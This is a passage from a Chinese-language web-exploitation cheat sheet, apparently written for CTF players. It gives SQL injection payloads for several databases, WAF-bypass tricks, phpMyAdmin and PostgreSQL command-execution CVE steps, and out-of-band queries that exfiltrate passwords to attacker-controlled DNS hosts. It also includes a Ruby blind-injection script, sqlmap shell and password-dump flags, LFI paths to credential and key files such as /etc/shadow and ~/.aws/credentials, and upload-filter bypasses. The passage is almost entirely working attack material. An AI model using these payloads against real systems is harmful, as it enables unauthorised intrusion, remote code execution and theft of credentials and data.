-  Order by注入 
   - 可以透過`asc`、`desc`簡單判斷 
      - `?sort=1 asc`
      - `?sort=1 desc`
   - 後面不能接UNION
   - 已知字段名 (可以盲注) 
      - `?order=IF(1=1, username, password)`
   - 利用報錯 
      - `?order=IF(1=1,1,(select 1 union select 2))` 正確
      - `?order=IF(1=2,1,(select 1 union select 2))` 錯誤
      - `?order=IF(1=1,1,(select 1 from information_schema.tables))` 正常
      - `?order=IF(1=2,1,(select 1 from information_schema.tables))` 錯誤
   - Time Based 
      - `?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` 正常
      - `?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` sleep 2秒
-  group by with rollup 
   - `' or 1=1 group by pwd with rollup limit 1 offset 2#`
-  將字串轉成純數字 
   - 字串 -> 16進位 -> 10進位
   - `conv(hex(YOUR_DATA), 16, 10)`
   - 還原：`unhex(conv(DEC_DATA,10,16))`
   - 需注意不要Overflow
-  不使用逗號 
   - `LIMIT N, M` => `LIMIT M OFFSET N`
   - `mid(user(), 1, 1)` => `mid(user() from 1 for 1)`
   - `UNION SELECT 1,2,3` => `UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)`
-  快速查找帶關鍵字的表 
   - `select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');`
-  innodb 
   - 表引擎為innodb
   - MySQL > 5.5
   - innodb_table_stats、innodb_table_index存放所有庫名表名
   - `select table_name from mysql.innodb_table_stats where database_name=資料庫名;`
   - Example: [Codegate2018 prequal - simpleCMS](https://github.com/w181496/CTF/tree/master/codegate2018-prequal/simpleCMS)
-  Bypass WAF 
   - `select password` => `SelEcT password` (大小寫)
   - `select password` => `select/**/password` (繞空白)
   - `select password` => `s%65lect%20password` (URLencode)
   - `select password` => `select(password)` (繞空白)
   - `select password` => `select%0apassword` (繞空白) 
      - %09, %0a, %0b, %0c, %0d, %a0
   - `select password from admin` => `select password /*!from*/ admin` (MySQL註解)
   - `information_schema.schemata` => ``information_schema`.schemata` (繞關鍵字/空白) 
      - `select xxx from`information_schema`.schemata`
   - `select pass from user where id='admin'` => `select pass from user where id=0x61646d696e` (繞引號) 
      - `id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))`
   - `?id=0e2union select 1,2,3` (科學記號) 
      - `?id=1union select 1,2,3`會爛
      - `?id=0e1union(select~1,2,3)` (~)
      - `?id=.1union select 1,2,3` (點)
   - `WHERE` => `HAVING` (繞關鍵字)
   - `AND` => `&&` (繞關鍵字) 
      - `OR` => `||`
      - `=` => `LIKE`
      - `a = 'b'` => `not a > 'b' and not a < 'b'`
      - `> 10` => `not between 0 and 10`
   - `LIMIT 0,1` => `LIMIT 1 OFFSET 0` (繞逗號) 
      - `substr('kaibro',1,1)` => `substr('kaibro' from 1 for 1)`
   - Multipart/form-data繞過 
      - [http://xdxd.love/2015/12/18/通过multipart-form-data绕过waf/](http://xdxd.love/2015/12/18/%E9%80%9A%E8%BF%87multipart-form-data%E7%BB%95%E8%BF%87waf/)
   - 偽造User-Agent 
      - e.g. 有些WAF不封google bot
-  phpMyAdmin 
   - 寫文件 getshell 
      - 條件 
         - root 權限
         - 已知web路徑
         - 有寫檔權限
      - `select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"`
   - general_log getshell 
      - 條件 
         - 讀寫權限
         - 已知web路徑
      - step1. 開啟日誌: `set global general_log = "ON";`
      - step2. 指定日誌文件: `set global general_log_file = "/var/www/html/shell.php";`
      - step3. 寫入php: `select "<?php phpinfo();?>";`
   - slow_query getshell 
      - step1. 設置日誌路徑: `set GLOBAL slow_query_log_file='/var/www/html/shell.php';`
      - step2. 開啟slow_query_log: `set GLOBAL slow_query_log=on;`
      - step3. 寫入php: `select '<?php phpinfo();?>' from mysql.db where sleep(10);`
   - CVE-2018-19968 
      - phpMyAdmin versions: 4.8.0 ~ 4.8.3
      - LFI to RCE
      - 條件 
         - 能登入後台
      - step1. `CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';`
      - step2. `/chk_rel.php?fixall_pmadb=1&db=foo`
      - step3. `INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_{SESSIONID}','plop';`
      - step4. `/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1`
   - CVE-2018-12613 
      - phpMyAdmin versions: 4.8.x
      - LFI to RCE
      - 條件 
         - 能登入後台
      - Payload 
         - `index.php?target=db_sql.php%253f/../../../../../../windows/system.ini`
         - `index.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu` 
            - 在控制台執行的 sql 語句會被寫入 session
            - Session id 可以從 cookie `phpMyAdmin` 得到
   - CVE-2016-5734 
      - phpmyadmin versions: 
         - 4.0.10.16 之前的4.0.x版本
         - 4.4.15.7 之前的 4.4.x版本
         - 4.6.3之前的 4.6.x版本
      - php version: 
         - 4.3.0 ~ 5.4.6
      - `preg_replace` RCE
      - 條件 
         - 能登入後台
   - CVE-2014-8959 
      - phpMyAdmin version: 
         - 4.0.1 ~ 4.2.12
      - php version: 
         - < 5.3.4
      - 條件 
         - 能登入後台
         - 能截斷
      - Payload: `gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00` (需修改token)
   - CVE-2013-3238 
      - versions: 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
      - [https://www.exploit-db.com/exploits/25136](https://www.exploit-db.com/exploits/25136)
   - CVE-2012-5159 
      - versions: v3.5.2.2
      - server_sync.php Backdoor
      - [https://www.exploit-db.com/exploits/21834](https://www.exploit-db.com/exploits/21834)
   - CVE-2009-1151 
      - versions: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
      - config/config.inc.php 命令執行
      - [https://www.exploit-db.com/exploits/8921](https://www.exploit-db.com/exploits/8921)
   - 弱密碼 / 萬用密碼 
      - phpmyadmin 2.11.9.2: root/空密碼
      - phpmyadmin 2.11.3 / 2.11.4: 用戶名: `'localhost'@'@"`
<a name="MSSQL"></a>
## MSSQL
-  子字串： 
   - `SUBSTRING("abc", 1, 1) => 'a'`
-  Ascii function 
   - `ascii('A') => 65`
-  Char function 
   - `char(65) => 'a'`
-  Concatenation 
   - `+`
   - `'a'+'b' => 'ab'`
-  Delay function 
   - `WAIT FOR DELAY '0:0:10'`
-  空白字元 
   - `01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20`
-  IF語句 
   - IF condition true-part ELSE false-part
   - `IF (1=1) SELECT 'true' ELSE SELECT 'false'`
-  註解： 
   - `--`
   - `/**/`
-  TOP 
   - MSSQL沒有`LIMIT N, M`的用法
   - `SELECT TOP 87 * FROM xxx` 取最前面87筆
   - 取第78~87筆 
      - `SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87`
-  其它： 
   - user
   - db_name()
   - user_name()
   - @[@version ](/version ) 
   - @[@language ](/language ) 
   - @[@servername ](/servername ) 
   - host_name()
   - has_dbaccess('master')
-  查詢用戶 
   - `select name, loginame from master..syslogins, master..sysprocesses`
-  查用戶密碼 
   - `select user,password from master.dbo.syslogins`
-  當前角色是否為資料庫管理員 
   - `SELECT is_srvrolemember('sysadmin')`
-  當前角色是否為db_owner 
   - `SELECT IS_MEMBER('db_owner')`
-  爆DB name 
   - `DB_NAME(N)`
   - `UNION SELECT NULL,DB_NAME(N),NULL--`
   - `UNION SELECT NULL,name,NULL FROM master ..sysdatabases--`
   - `SELECT catalog_name FROM information_schema.schemata`
   - `1=(select name from master.dbo.sysdatabases where dbid=5)`
-  爆表名 
   - `SELECT table_catalog, table_name FROM information_schema.tables`
   - `SELECT name FROM sysobjects WHERE xtype='U'`
   - `ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--`
-  爆column 
   - `SELECT table_catalog, table_name, column_name FROM information_schema.columns`
   - `SELECT name FROM syscolumns WHERE id=object_id('news')`
   - `ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--`
   - `SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')`
-  一次性獲取全部資料 
   - `select quotename(name) from master..sysdatabases FOR XML PATH('')`
   - `select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto`
-  Union Based 
   - Column型態必須相同
   - 可用`NULL`來避免
-  Error Based 
   - 利用型別轉換錯誤
   - `id=1 and user=0`
-  Out of Band 
   - `declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')`
   - `fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)` 
      - Requires VIEW SERVER STATE permission on the server
   - `fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)` 
      - Requires the CONTROL SERVER permission.
   - `fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)` 
      - Requires the CONTROL SERVER permission.
-  判斷是否站庫分離 
   - 客戶端主機名：`select host_name();`
   - 服務端主機名：`select @@servername;`
   - 兩者不同即站庫分離
-  讀檔 
   - `select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)`
-  xp_cmdshell 
   - 在MSSQL 2000默認開啟
   - MSSQL 2005之後默認關閉
   - 有sa權限，可透過sp_configure重啟它

EXEC sp_configure ‘show advanced options’,1 RECONFIGURE EXEC sp_configure ‘xp_cmdshell’,1 RECONFIGURE

   -  執行 command 
      - `exec xp_cmdshell 'whoami'`
   -  關閉xp_cmdshell

EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure’xp_cmdshell’, 0; RECONFIGURE;

-  快速查找帶關鍵字的表 
   - `SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');`
-  繞 WAF 
   - Non-standard whitespace character: 
      - `1%C2%85union%C2%85select%C2%A0null,@@version,null--`
   - 混淆 UNION 
      - `0eunion+select+null,@@version,null--`
   - Unicode繞過 
      - IIS 對 Unicode 編碼是可以解析的，即 s%u0065lect 會被解析為 select
<a name="Oracle"></a>
## Oracle
-  `SELECT`語句必須包含`FROM` 
   - 未指定來源，可以用`dual`表
-  子字串： 
   - `SUBSTR('abc', 1, 1) => 'a'`
-  空白字元 
   - `00 0A 0D 0C 09 20`
-  IF語句 
   - `IF condition THEN true-part [ELSE false-part] END IF`
-  註解： 
   - `--`
   - `/**/`
-  不支援 limit 
   - 改用 rownum
   - `select table_name from (select rownum no, table_name from all_tables) where no=1`
-  單雙引號 
   - 單引號: string, date
   - 雙引號: identifier (table name, column name, ...)
-  其它 
   - `SYS.DATABASE_NAME` 
      - current database
   - `USER` 
      - current user
      - or `sys.login_user`
   - `SELECT role FROM session_roles` 
      - current role
   - `SELECT privilege FROM user_sys_privs` 
      - system privileges granted to the current user
   - `SELECT privilege FROM role_sys_privs` 
      - privs the current role has
   - `SELECT privilege FROM session_privs` 
      - the all privs that current user has = user_sys_privs + role_sys_privs
   - `SELECT banner FROM v$version where rownum=1` 
      - database version
   - `SELECT host_name FROM v$instance;` 
      - Name of the host machine
   - `utl_inaddr.get_host_address` 
      - 本機IP
   - `select utl_inaddr.get_host_name('87.87.87.87') from dual` 
      - IP反解
-  庫名(schema) 
   - `SELECT DISTINCT OWNER FROM ALL_TABLES`
-  表名 
   - `SELECT OWNER, TABLE_NAME FROM ALL_TABLES`
-  Column 
   - `SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS`
-  Union Based 
   - Column型態必須相同
   - 可用`NULL`來避免
   - `UNION SELECT 1, 'aa', null FROM dual`
-  Time Based 
   - `dbms_pipe.receive_message(('a'),10)` 
      - `SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual`
-  Error Based 
   - `CTXSYS.DRITHSX.SN` 
      - `SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1`
   - `utl_inaddr.get_host_name` 
      - `and 1=utl_inaddr.get_host_name((SQL in HERE))`
      - 版本>=11g，需要超級用戶或授予網路權限的用戶才能用
   - `dbms_xdb_version.checkin` 
      - `and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null`
   - `dbms_xdb_version.makeversioned` 
      - `and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null`
   - `dbms_xdb_version.uncheckout` 
      - `and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null`
   - `dbms_utility.sqlid_to_sqlhash` 
      - `and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null`
-  Out of band 
   - `UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1`
   - `SYS.DBMS_LDAP.INIT()`
   - `utl_inaddr.get_host_address()`
   - `HTTPURITYPE` 
      - `SELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;`
   - `extractvalue()` XXE 
      - `SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dual`
      - 新版已patch
-  users 
   - `select username from all_users` 
      - lists all users of the database
   - `select name, password from sys.user$`
   - `select username,password,account_status from dba_users`
-  特殊用法 
   - `DBMS_XMLGEN.getXML('select user from dual')`
   - `dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')` 
      - Java code execution
<a name="SQLite"></a>
## SQLite
- 子字串： 
   - `substr(“abc",1,1) => 'a'`
- Ascii function: 
   - `unicode('d') => 100`
- legth 
   - `length('ab') => 2`
- Concatenation 
   - `||`
   - `'a' || 'b' => 'ab'`
- Time Delay 
   - `randomblob(100000000)`
- 空白字元 
   - `0A 0D 0C 09 20`
- Case when 
   - SQLite沒有`if`
   - 可以用`Case When ... Then ...`代替
   - `case when (條件) then ... else ... end`
- 註解 
   - `--`
- 爆表名 
   - `SELECT name FROM sqlite_master WHERE type='table'`
- 爆表結構(含Column) 
   - `SELECT sql FROM sqlite_master WHERE type='table'`
- 其他 
   - `sqlite_version()`
   - sqlite無法使用`\'`跳脫單引號
   - `[]` 神奇用法 
      - `CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;` 
         - CREATE TABLE 後面也能接 SELECT condition
      - [zer0pts CTF 2020 - phpNantokaAdmin](https://github.com/w181496/CTF/tree/master/zer0pts2020/phpNantokaAdmin)
- Boolean Based: SECCON 2017 qual SqlSRF
**Click here to view script**
```ruby
# encoding: UTF-8
# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼 
require 'net/http'
require 'uri'
$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
$ans = ''
(1..100).each do |i|
    l = 48
    r = 122
    while(l <= r)
        #puts "left: #{l}, right: #{r}"
        break if l == r
        mid = ((l + r) / 2)
        $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
        res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
        if res.body.include? 'document.location'
            l = mid + 1
        else
            r = mid
        end
    end
    $ans += l.chr
    puts $ans
end

PostgreSQL

• 子字串
  • substr("abc", 1, 1) => 'a'
• Ascii function
  • ascii('x') => 120
• Char function
  • chr(65) => A
• Concatenation
  • ||
  • 'a' || 'b' => 'ab'
• Delay function
  • pg_sleep(5)
  • GENERATE_SERIES(1, 1000000)
  • repeat('a', 10000000)
• 空白字元
  • 0A 0D 0C 09 20
• encode / decode
  • encode('123\\000\\001', 'base64') => MTIzAAE=
  • decode('MTIzAAE=', 'base64') => 123\000\001
• 不支援limit N, M
  • limit a offset b 略過前b筆，抓出a筆出來
• 註解
  • --
  • /**/
• 
  • SELECT datname FROM pg_database
• 爆表名
  • SELECT tablename FROM pg_tables WHERE schemaname='dbname'
• 爆Column
  • SELECT column_name FROM information_schema.columns WHERE table_name='admin'
• Dump all
  • array_to_string(array(select userid||':'||password from users),',')
• 列舉 privilege
  • SELECT * FROM pg_roles;
• 列舉用戶 hash
  • SELECT usename, passwd FROM pg_shadow
• RCE
  • CVE-2019–9193
    • 在 9.3 版本實作了 COPY TO/FROM PROGRAM
    • 版本 9.3 ~ 11.2 預設啟用
    • 讓 super user 和任何在 pg_read_server_files 群組的 user 可以執行任意指令
    • 方法
      • DROP TABLE IF EXISTS cmd_exec;
      • CREATE TABLE cmd_exec(cmd_output text);
      • COPY cmd_exec FROM PROGRAM 'id';
      • SELECT * FROM cmd_exec;
  • 版本 8.2 以前
    • CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
    • select system('id');
  • UDF
    • sqlmap udf: https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/postgresql
    • CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
    • SELECT sys_eval("id");
• 其它
  • version()
  • current_database()
  • user
    • current_user
    • SELECT usename FROM pg_user;
  • getpgusername()
  • current_schema
  • current_query()
  • inet_server_addr()
  • inet_server_port()
  • inet_client_addr()
  • inet_client_port()
  • type conversion
    • cast(count(*) as text)
  • md5('abc')
  • replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXef
  • pg_read_file(filename, offset, length)
    • 讀檔
    • 只能讀data_directory下的
  • pg_ls_dir(dirname)
    • 列目錄內容
    • 只能列data_directory下的
  • PHP的pg_query()可以多語句執行
  • lo_import(), lo_get()讀檔
    • select cast(lo_import('/var/lib/postgresql/data/secret') as text) => 18440
    • select cast(lo_get(18440) as text) => secret_here

MS Access

• 沒有註解
  • 某些情況可以用%00, %16來達到類似效果
• 沒有 Stacked Queries
• 沒有 Limit
  • 可以用 TOP, LAST 取代
  • 'UNION SELECT TOP 5 xxx FROM yyy%00
• 沒有 Sleep, Benchmark, …
• 支援 Subquery
  • 'AND (SELECT TOP 1 'xxx' FROM table)%00
• String Concatenation
  • & (%26)
  • + (%2B)
  • 'UNION SELECT 'aa' %2b 'bb' FROM table%00
• Ascii Function
  • ASC()
  • 'UNION SELECT ASC('A') FROM table%00
• IF THEN
  • IFF(condition, true, false)
  • 'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00
• https://insomniasec.com/cdn-assets/Access-Through-Access.pdf

ORM injection

https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications

• Hibernate
  • 單引號跳脫法
    • MySQL中，單引號用\'跳脫
    • HQL中，用兩個單引號''跳脫
    • 'abc\''or 1=(SELECT 1)--'
      • 在HQL是一個字串
      • 在MySQL是字串+額外SQL語句
  • Magic Function法
    • PostgreSQL中內建query_to_xml('Arbitary SQL')
    • Oracle中有dbms_xmlgen.getxml('SQL')

HQL injection example (pwn2win 2017)

• order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)
  • Output: ERROR: could not stat file "flag": No such file or directory
• order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)
  • Output: ERROR: could not stat file "secret": No such file or directory
• order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)
  • Output: ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory

SQL Injection with MD5

• $sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";
• ffifdyop
  • md5: 276f722736c95d99e921722cf9ed621c
  • to string: 'or'6<trash>

HTTP Parameter Pollution

• id=1&id=2&id=3
  • ASP.NET + IIS: id=1,2,3
  • ASP + IIS: id=1,2,3
  • PHP + Apache: id=3

SQLmap

• https://github.com/sqlmapproject/sqlmap/wiki/Usage
• Usage
  • python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
    • 庫名: --dbs
    • 表名: -D dbname --tables
    • column: -D dbname -T tbname --columns
    • dump: -D dbname -T tbname --dump
      • --start=1
      • --stop=5566
    • DBA? --is-dba
    • 爆帳密: --passwords
    • 看權限: --privileges
    • 拿shell: --os-shell
    • interative SQL: --sql-shell
    • 讀檔: --file-read=/etc/passwd
    • Delay時間: --time-sec=10
    • User-Agent: --random-agent
    • Thread: --threads=10
    • Level: --level=3
      • default: 1
    • --technique
      • default: BEUSTQ
    • Cookie: --cookie="abc=55667788"
    • Tor: --tor --check-tor --tor-type=SOCKS5 --tor-port=9050

LFI

Testing Payload

Linux / Unix

• Common Payload
  • ./index.php
  • ././index.php
  • .//index.php
  • ../../../../../../etc/passwd
  • ../../../../../../etc/passwd%00
    • 僅在5.3.0以下可用
    • magic_quotes_gpc需為OFF
  • ....//....//....//....//etc/passwd
  • %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
  • %252e/%252e/etc/passwd
  • ＮＮ/ＮＮ/ＮＮ/etc/passwd
  • .+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwd
  • static\..\..\..\..\..\..\..\..\etc\passwd
• Config
  • /usr/local/apache2/conf/httpd.conf
  • /usr/local/etc/apache2/httpd.conf
  • /usr/local/nginx/conf/nginx.conf
  • /etc/apache2/sites-available/000-default.conf
  • /etc/apache2/apache2.conf
  • /etc/apache2/httpd.conf
  • /etc/httpd/conf/httpd.conf
  • /etc/nginx/conf.d/default.conf
  • /etc/nginx/nginx.conf
  • /etc/nginx/sites-enabled/default
  • /etc/nginx/sites-enabled/default.conf
  • /etc/mysql/my.cnf
  • /etc/resolv.conf
  • /etc/named.conf
  • /etc/rsyslog.conf
  • /etc/samba/smb.conf
  • /etc/openldap/slapd.conf
  • /etc/mongod.conf
  • /etc/krb5.conf
  • ~/.tmux.conf
  • ~/.mongorc.js
  • $TOMCAT_HOME/conf/tomcat-users.xml
  • $TOMCAT_HOME/conf/server.xml
• Log
  • /var/log/apache2/error.log
  • /var/log/httpd/access_log
  • /var/log/mail.log
  • /var/log/auth.log
  • /var/log/messages
  • /var/log/secure
  • /var/log/sshd.log
  • /var/log/mysqld.log
  • /var/log/mongodb/mongod.log
  • .pm2/pm2.log
  • $TOMCAT_HOME/logs/catalina.out
• History
  • .history
  • .bash_history
  • .sh_history
  • .zsh_history
  • .viminfo
  • .php_history
  • .mysql_history
  • .dbshell
  • .histfile
  • .node_repl_history
  • .python_history
  • .scapy_history
  • .sqlite_history
  • .psql_history
  • .rediscli_history
  • .coffee_history
  • .lesshst
  • .wget-hsts
  • .config/fish/fish_history
  • .local/share/fish/fish_history
  • .ipython/profile_default/history.sqlite
• 其他
  • /proc/self/cmdline
  • /proc/self/fd/[0-9]*
  • /proc/self/environ
  • /proc/net/fib_trie
  • /proc/mounts
  • /proc/net/arp
  • /proc/net/tcp
  • /proc/sched_debug
  • .htaccess
  • ~/.bashrc
  • ~/.bash_profile
  • ~/.bash_logout
  • ~/.zshrc
  • ~/.aws/config
  • ~/.aws/credentials
  • ~/.boto
  • ~/.s3cfg
  • ~/.gitconfig
  • ~/.config/git/config
  • ~/.git-credentials
  • ~/.env
  • /etc/passwd
  • /etc/shadow
  • /etc/hosts
  • /etc/rc.d/rc.local
  • /etc/boto.cfg
  • /root/.ssh/id_rsa
  • /root/.ssh/authorized_keys
  • /root/.ssh/known_hosts
  • /root/.ssh/config
  • /etc/sysconfig/network-scripts/ifcfg-eth0
  • /etc/exports
  • /etc/crontab
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/root
  • /var/mail/<username>

Windows

• C:/Windows/win.ini
• C:/boot.ini
• C:/apache/logs/access.log
• ../../../../../../../../../boot.ini/.......................
• C:\Windows\System32\drivers\etc\hosts
• C:\WINDOWS\System32\Config\SAM
• C:/WINDOWS/repair/sam
• C:/WINDOWS/repair/system
• %SYSTEMROOT%\System32\config\RegBack\SAM
• %SYSTEMROOT%\System32\config\RegBack\system
• %WINDIR%\system32\config\AppEvent.Evt
• %WINDIR%\system32\config\SecEvent.Evt
• %WINDIR%\iis[version].log
• %WINDIR%\debug\NetSetup.log
• %SYSTEMDRIVE%\autoexec.bat
• C:\Documents and Settings\All Users\Application Data\Git\config
• C:\ProgramData\Git\config
• $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
• C:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.config
• C:\Windows\System32\inetsrv\config\ApplicationHost.config
• C:\WINDOWS\debug\NetSetup.log
• C:\WINDOWS\pfro.log

環境變數

• ../../../../proc/self/environ
  • HTTP_User_Agent塞php script

php://filter

• php://filter/convert.base64-encode/resource=index.php
• php://filter/convert.base64-decode/resource=index.php
• php://filter/read=string.rot13/resource=index.php
• php://filter/zlib.deflate/resource=index.php
• php://filter/zlib.inflate/resource=index.php
• php://filter/convert.quoted-printable-encode/resource=index.php
• php://filter/read=string.strip_tags/resource=php://input
• php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php
• php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php
• …

php://input

• ?page=php://input
  • post data: <?php system("net user"); ?>
  • 需要有開啟url_allow_include，5.4.0直接廢除

phpinfo

• 對server以form-data上傳文件，會產生tmp檔
• 利用phpinfo得到tmp檔路徑和名稱
• LFI Get shell
• 限制
  • Ubuntu 17後，預設開啟PrivateTmp，無法利用

php session

• Session一般存在sess_{PHPSESSID}中
• 可以透過修改Cookie再LFI拿shell
• 以下為常見存放路徑
  • /var/tmp/
  • /tmp/
  • /var/lib/php5/
  • /var/lib/php/
  • C:\windows\temp\sess_
    • windows
• session.upload_progress
  • PHP預設開啟
  • 用來監控上傳檔案進度
  • 當session.upload_progress.enabled開啟，可以POST在$_SESSION中添加資料 (sess_{PHPSESSID})
  • 配合LFI可以getshell
  • session.upload_progress.cleanup=on時，可以透過Race condition
  • 上傳zip
    • 開頭會有upload_progress_，結尾也有多餘資料，導致上傳zip正常狀況無法解析
    • 利用zip格式鬆散特性，刪除前16 bytes或是手動修正EOCD和CDH的offset後上傳，可以讓php正常解析zip
  • Example
    • HITCON CTF 2018 - One Line PHP Challenge
    • 0CTF 2021 Qual - 1linephp

data://

• 條件
  • allow_url_fopen: On
  • allow_url_include: On
• 用法
  • ?file=data://text/plain,<?php phpinfo()?>
  • ?file=data:text/plain,<?php phpinfo()?>
  • ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip / phar

• 適用驗證副檔名時
• zip
  • 新建zip，裡頭壓縮php腳本(可改副檔名)
  • ?file=zip://myzip.zip#php.jpg
  • Example
    • 0CTF 2021 Qual - 1linephp

• phar

  • <?php
    $p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP);
    $x = file_get_contents('./a.php');
    $p->addFromString('b.jpg', $x);
    ?>

  • 構造 ?file=phar://phartest.zip/b.jpg

SSI (Server Side Includes)

• 通常放在.shtml, .shtm, .stm
• Execute Command
  • <!--#exec cmd="command"-->
• File Include
  • <!--#include file="../../web.config"-->
• Example
  • HITCON CTF 2018 - Why so Serials?
  • Hack.lu 2019 - Trees For Future

上傳漏洞

Javascript檢測

• Burp Suite 中間修改
• disable javascript

Bypass MIME Detection

• Burp修改Content-Type

黑名單判斷副檔名

• 大小寫繞過
  • pHP
  • AsP
• 空格 / 點 / Null 繞過
  • Windows特性
  • .php(空格) // burp修改
  • .asp.
  • .php%00.jpg
• php3457
  • .php3
  • .php4
  • .php5
  • .php7
  • .pht
  • .phtml
• asp
  • asa
  • cer
  • cdx
• aspx
  • ascx
  • ashx
  • asmx
  • asac
  • soap
  • svc
  • master
  • web.config
• jsp
  • jspa
  • jspf
  • jspx
  • jsw
  • jsv
  • jtml

• .htaccess

  <FilesMatch "kai">
  SetHandler application/x-httpd-php
  </FilesMatch>

• .user.ini

  • 只要 fastcgi 運行的 php 都適用 (nginx/apache/iis)
  • 用戶自定義的設定檔
    • 可以設置 PHP_INI_PERDIR 和 PHP_INI_USER 的設定
    • 可以動態載入，不用重啟
  • 使用前提: 該目錄下必須有php文件
  • auto_prepend_file=test.jpg
• 文件解析漏洞
• NTFS ADS
  • test.php:a.jpg
    • 生成 test.php
    • 空內容
  • test.php::$DATA
    • 生成 test.php
    • 內容不變
  • test.php::$INDEX_ALLOCATION
    • 生成 test.php 資料夾
  • test.php::$DATA.jpg
    • 生成 0.jpg
    • 內容不變
  • test.php::$DATA\aaa.jpg
    • 生成 aaa.jpg
    • 內容不變

Magic Number

